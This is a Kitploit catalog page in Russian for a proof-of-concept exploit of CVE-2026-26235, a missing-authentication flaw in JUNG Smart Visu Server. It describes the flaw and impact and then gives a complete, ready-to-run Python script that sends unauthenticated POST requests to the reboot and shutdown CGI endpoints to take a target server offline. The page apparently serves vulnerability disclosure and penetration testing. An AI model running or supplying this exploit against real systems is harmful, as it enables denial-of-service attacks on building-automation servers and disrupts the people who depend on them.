Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown — Эксплойт proof-of-concept для CVE-2026-26235 — неаутентифицированная уязвимость типа «отказ в обслуживании» в JUNG Smart Visu Server <=1.1.1050, позволяющая удалённую перезагрузку или завершение работы через открытые CGI-конечные точки. | Kitploit
Инструменты/GitHubGitHub/mbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown
Безопасность IoTАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubmbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown

CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown

Эксплойт proof-of-concept для CVE-2026-26235 — неаутентифицированная уязвимость типа «отказ в обслуживании» в JUNG Smart Visu Server <=1.1.1050, позволяющая удалённую перезагрузку или завершение работы через открытые CGI-конечные точки.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
398 месяцев назадЕщё не проверено

👤 Автор

Mohammed Idrees Banyamer

  • 📍 Страна: Иордания
  • 📸 Instagram: @banyamer_security

Python Version CVE CVSS CWE Author

Proof-of-Concept эксплойт для CVE-2026-26235 — Неаутентифицированный отказ в обслуживании из-за отсутствия аутентификации в JUNG Smart Visu Server ≤ 1.1.1050.


🚨 Описание уязвимости

CVE-2026-26235 — это неаутентифицированная уязвимость типа «отказ в обслуживании» в JUNG Smart Visu Server версиях ≤ 1.1.1050. Продукт не реализует аутентификацию для критических функций управления системой, что позволяет удалённым злоумышленникам перезагрузить или выключить сервер одним POST-запросом.

Конечные точки /cgi-bin/reboot.sh и /cgi-bin/shutdown.sh доступны без каких-либо проверок аутентификации. Для запуска этих системных команд не требуются сессионные токены, API-ключи или учётные данные.

Это позволяет:

  • Неаутентифицированная перезагрузка/выключение системы
  • Не требуется взаимодействие с пользователем
  • Полное нарушение работы сервиса
  • Постоянный отказ в обслуживании

🎯 Затронутые версии

СтатусВерсия
❌ УязвимаяJUNG Smart Visu Server ≤ 1.1.1050
✅ ИсправленнаяЕщё не выпущена

Протестировано на: JUNG Smart Visu Server 1.1.1050, Embedded Linux


💥 Воздействие

ВекторОписание
CVSS v48.7 (Высокий) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
АутентификацияОтсутствует — полностью неаутентифицированный доступ
Вектор атакиСеть
СложностьНизкая
ВоздействиеВысокое воздействие на доступность

🔬 Технические детали

Корневая причина

  1. Отсутствие аутентификации — CWE-306: Продукт не выполняет никакой аутентификации для критических системных функций
  2. Открытые CGI-конечные точки — /cgi-bin/reboot.sh и /cgi-bin/shutdown.sh общедоступны
  3. Отсутствие проверки сессии — Не выполняется проверка cookie, токенов или учётных данных
  4. Прямое выполнение системных команд — CGI-скрипты выполняют команды перезагрузки/выключения системы без проверки привилегий

Поток уязвимости

Attacker → POST /cgi-bin/reboot.sh → No Authentication Check → System Reboot → DoS
Attacker → POST /cgi-bin/shutdown.sh → No Authentication Check → System Shutdown → DoS

🛠️ Proof of Concept

Python-скрипт эксплойта

#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)

import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def print_banner():
    print("\n" + "="*60)
    print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
    print(" CVE-2026-26235 | CWE-306")
    print("="*60 + "\n")

def exploit(target, action="reboot", verify_ssl=False, timeout=10):
    endpoints = {
        "reboot": "/cgi-bin/reboot.sh",
        "shutdown": "/cgi-bin/shutdown.sh"
    }
    
    if action not in endpoints:
        print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
        return False
    
    url = f"{target.rstrip('/')}{endpoints[action]}"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Cache-Control": "max-age=0",
        "Origin": target.rstrip('/'),
        "Referer": f"{target.rstrip('/')}/",
        "DNT": "1",
        "Sec-GPC": "1"
    }
    
    print(f"[*] Target      : {url}")
    print(f"[*] Action      : {action.upper()}")
    print(f"[*] SSL Verify  : {verify_ssl}")
    print("[*] Sending unauthenticated POST request...\n")
    
    try:
        response = requests.post(
            url, 
            headers=headers,
            data="",  
            verify=verify_ssl,
            timeout=timeout,
            allow_redirects=False
        )
        
        print(f"[+] Request sent successfully!")
        print(f"[+] HTTP Status : {response.status_code}")
        
        if response.status_code == 200:
            print("[!] Server responded with 200 OK - action likely executed")
        elif response.status_code == 302 or response.status_code == 301:
            print("[!] Server responded with redirect - action may have been triggered")
        else:
            print(f"[?] Unexpected response code: {response.status_code}")
        
        if response.text:
            print(f"[*] Response preview: {response.text[:200].strip()}")
        
        print("\n[!] If successful, the target server should now be restarting or shutting down.")
        return True
        
    except requests.exceptions.Timeout:
        print("[-] Connection timeout. The server may be down or unreachable.")
        print("[*] This could indicate successful DoS if the server was previously reachable.")
        return True
    except requests.exceptions.ConnectionError as e:
        print(f"[-] Connection error: {e}")
        print("[*] The server may have gone down - possibly successful exploitation.")
        return True
    except Exception as e:
        print(f"[-] An error occurred: {e}")
        return False

def main():
    print_banner()
    
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
    )
    parser.add_argument(
        "target",
        help="Target server URL (e.g., https://192.168.1.100:8080)"
    )
    parser.add_argument(
        "-a", "--action",
        choices=["reboot", "shutdown"],
        default="reboot",
        help="Action to perform: reboot or shutdown (default: reboot)"
    )
    parser.add_argument(
        "-k", "--insecure",
        action="store_false",
        dest="verify_ssl",
        default=False,
        help="Disable SSL certificate verification (default: disabled)"
    )
    parser.add_argument(
        "-t", "--timeout",
        type=int,
        default=10,
        help="Request timeout in seconds (default: 10)"
    )
    
    args = parser.parse_args()
    
    print(f"[*] Starting exploit against: {args.target}\n")
    
    success = exploit(
        target=args.target,
        action=args.action,
        verify_ssl=args.verify_ssl,
        timeout=args.timeout
    )
    
    if success:
        print("\n[+] Exploit completed successfully.")
    else:
        print("\n[-] Exploit failed.")
        sys.exit(1)

if __name__ == "__main__":
    main()
Скачать инструмент